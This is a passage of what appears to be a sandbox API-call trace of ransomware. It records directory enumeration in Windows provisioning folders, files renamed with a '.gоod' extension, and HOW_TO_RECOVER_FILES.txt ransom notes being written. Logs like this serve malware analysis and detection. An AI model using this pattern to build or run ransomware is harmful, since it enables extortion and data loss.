hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0142.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0142.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0142.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0142.757] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov", lpFilePart=0x0) returned 0x55 [0142.757] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x431a521c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x431a521c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0142.757] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x431a521c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x431a521c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.757] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x431a521c, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x431a521c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x431cb480, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0142.757] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0142.757] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x431a521c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.gоod", cAlternateFileName="")) returned 1 [0142.758] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0142.758] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0142.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0142.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0142.758] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0142.758] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov", lpFilePart=0x0) returned 0x55 [0142.758] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x431a521c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x431a521c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0142.758] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x431a521c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x431a521c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.759] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x431a521c, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x431a521c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x431cb480, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0142.759] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0142.759] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x431a521c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.gоod", cAlternateFileName="")) returned 1 [0142.759] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x431a521c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.gоod", cAlternateFileName="")) returned 0 [0142.759] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0142.759] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0142.759] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0142.760] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0142.760] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x10f8de0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime", lpFilePart=0x0) returned 0x5d [0142.760] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\*", lpFindFileData=0x10f9060 | out: lpFindFileData=0x10f9060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x431a521c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0142.760] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x431a521c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.760] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53eab83a, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53eab83a, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53eab83a, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x360, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 1 [0142.760] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x431a521c, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x431a521c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x431a521c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0142.760] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0142.760] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0142.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0142.761] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0142.761] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0142.761] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x10f8de0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime", lpFilePart=0x0) returned 0x5d [0142.761] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\*", lpFindFileData=0x10f9060 | out: lpFindFileData=0x10f9060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x431a521c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x431a521c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0142.761] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x431a521c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x431a521c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.761] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53eab83a, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53eab83a, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53eab83a, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x360, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 1 [0142.761] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x431a521c, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x431a521c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x431a521c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0142.761] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x431a521c, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x431a521c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x431a521c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0142.761] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0142.761] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0142.761] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0142.761] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f8d90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x76 [0142.761] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f92b0) returned 1 [0142.761] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\runtime\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0142.762] GetFileType (hFile=0x618) returned 0x1 [0142.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9220) returned 1 [0142.762] GetFileType (hFile=0x618) returned 0x1 [0142.762] WriteFile (in: hFile=0x618, lpBuffer=0x3d6d630*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10f9378, lpOverlapped=0x0 | out: lpBuffer=0x3d6d630*, lpNumberOfBytesWritten=0x10f9378*=0x5d0, lpOverlapped=0x0) returned 1 [0142.763] CloseHandle (hObject=0x618) returned 1 [0142.763] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f97c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6e [0142.763] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0142.763] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0142.764] GetFileType (hFile=0x618) returned 0x1 [0142.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0142.764] GetFileType (hFile=0x618) returned 0x1 [0142.764] WriteFile (in: hFile=0x618, lpBuffer=0x3d70f38*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10f9da8, lpOverlapped=0x0 | out: lpBuffer=0x3d70f38*, lpNumberOfBytesWritten=0x10f9da8*=0x5d0, lpOverlapped=0x0) returned 1 [0142.765] CloseHandle (hObject=0x618) returned 1 [0142.765] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x69 [0142.765] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0142.765] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0142.766] GetFileType (hFile=0x618) returned 0x1 [0142.766] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0142.766] GetFileType (hFile=0x618) returned 0x1 [0142.766] WriteFile (in: hFile=0x618, lpBuffer=0x3d74830*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x3d74830*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0142.767] CloseHandle (hObject=0x618) returned 1 [0142.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0142.768] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", lpFilePart=0x0) returned 0x50 [0142.768] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x44683937, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x453c692d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0142.768] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x44683937, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x453c692d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.768] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5410e9a1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5410e9a1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x44421352, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1154, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml.gоod", cAlternateFileName="CUSTOM~1.GOD")) returned 1 [0142.768] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x453c692d, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x453c692d, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x453c692d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0142.768] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x540c24cc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x540c24cc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x44683937, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml.gоod", cAlternateFileName="MASTER~1.GOD")) returned 1 [0142.768] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x453a09cb, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x453a09cb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0142.768] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x453a09cb, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x453a09cb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0142.768] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0142.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0142.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0142.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0142.769] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", lpFilePart=0x0) returned 0x50 [0142.769] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x453c692d, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x453c692d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0142.769] FindNextFileW (in: hFindFile=0x1ec322f0, 